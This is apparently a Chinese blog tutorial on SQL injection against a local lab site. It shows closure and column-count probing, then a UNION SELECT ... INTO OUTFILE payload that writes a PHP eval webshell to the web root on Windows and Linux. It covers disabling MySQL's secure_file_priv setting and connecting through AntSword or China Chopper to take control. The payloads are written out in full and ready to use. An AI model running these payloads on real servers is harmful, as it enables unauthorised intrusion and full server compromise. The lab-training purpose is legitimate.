SQL注入之文件上传

发布时间 2023-08-25 15:43:09作者: 星屿纪

目录

一,mysql文件上传要点

二,文件上传指令

一句话木马

三,实例

1,判断注入方式 

2,测试目标网站的闭合方式:

3,写入一句话木马

4,拿到控制权 


 

一,mysql文件上传要点

1,show variables like '%secure%';用来查看mysql是否有读写文件的权限

主要看secure_file_priv,value值为空意味着当前mysql程序可以对我所有硬盘的路径进行读写,如果后面是指定的路径C盘或者D盘下某一文件夹的话,只能在这一文件夹下去写;如果里面是NULL说明我不能在当前目标服务器上进行读写(使用mysql)

2,数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限

3,into outfile命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径

 

  • 若要把secure_file_priv的value值改为空:找到mysql文件下的my.ini文件,在[mysqld]下写入secure_file_priv=''(注意单引号内没有空格!!!),然后进入小皮面板重启MySQL服务

     

    在phpmyadmin中再次输入show variables like '%secure%' 查询,成功查看

     

Linux环境下实现此功能需要预配置

先用and 1=1 和1=2测试字符型/数字型

?id=1

再测试闭合符和注释符号

?id=1' -- -  ?id=1"-- -  ?id=1")-- -  这几个在and 1=1和1=2的情况下页面返回情况都相同

用and1=1和1=2测试闭合符是否正确

?id=1')) and 1=1-- -

测试列数

?id=1')) group by 3-- -

测试查询语句

二,文件上传指令

其实我们最终的目的是往目标靶场上上传一句话木马,或者是自己想上传的php文件。

文件上传的用法:

(1)直接可以写在网站的目录下面,然后可以当做一句话木马直接去连接

(2)发现目标网站有文件包含,同时数据库又具备写入一句话木马的权限进行利用

一句话木马

?id=-1')) union select 1,2,"<?php @eval($_POST['hyc']); ?>" into outfile "D:\\phpstudy_pro\\WWW\\hyc.php" --+

<?php @eval($_POST['password']);?>:一句话木马

password是预留密码,这里给的密码是hyc

D:\\phpstudy_pro\\WWW\\是文件路径

hyc.php是新插入的文件名

Linux下

~#cd /var/www/html/text/  打开文件夹

#ls  ls查看test文件夹内文件

?id=-1')) union select 1,2,"<?php @eval($_POST['a']);?>" into outfile "/var/www/html/text/a.php"-- -  页面会报错,但是已经执行

#ls  ls查看text文件夹里已经存在新文件a.php

#vim a.php

三,实例

1,判断注入方式 

 当我们向里面传值的时候,会提示...outfile,说明可用文件上传注入

2,测试目标网站的闭合方式:

但是报错内容没有显示是哪里报错

于是我们使用--+看一下到底是不是’为闭合方式,如下图报错不变,所以闭合方式不是’

于是我们将进行更详细的测试:

当我们试到'))时,可以正常显示

当然在试的过程中可能会出现一些碰巧的情况,比如用”试得到的是一样的结果。

是因为正确答案'))的闭合方式使”无效

怎么解决呢?

我们可以用and 1=1和and 1=2来测试

双引号测试:

 两种结果一样,说明”不是正确的结果。

单引号和双括号测试:

 

两种结果不一样,“错的就是错的“,所以我们找到了正确的闭合方式。

测试列数

3,写入一句话木马

 在目标路径下可以看到写入的木马:

打开查看里面写入的内容:

4,拿到控制权 

 用蚁剑连一下目标靶场:

拿到了电脑的使用权,注入目标达成: 

在这里也可以用whoami看到小皮的权限,我给的是普通用户的权限,不是管理员权限

 接下来可以上传大马,反弹拿web shell

中国菜刀用法,打开中国菜刀,右键添加,输入地址https://127.0.0.1/a.php  密码password,单击添加

上传大马  反弹拿web shell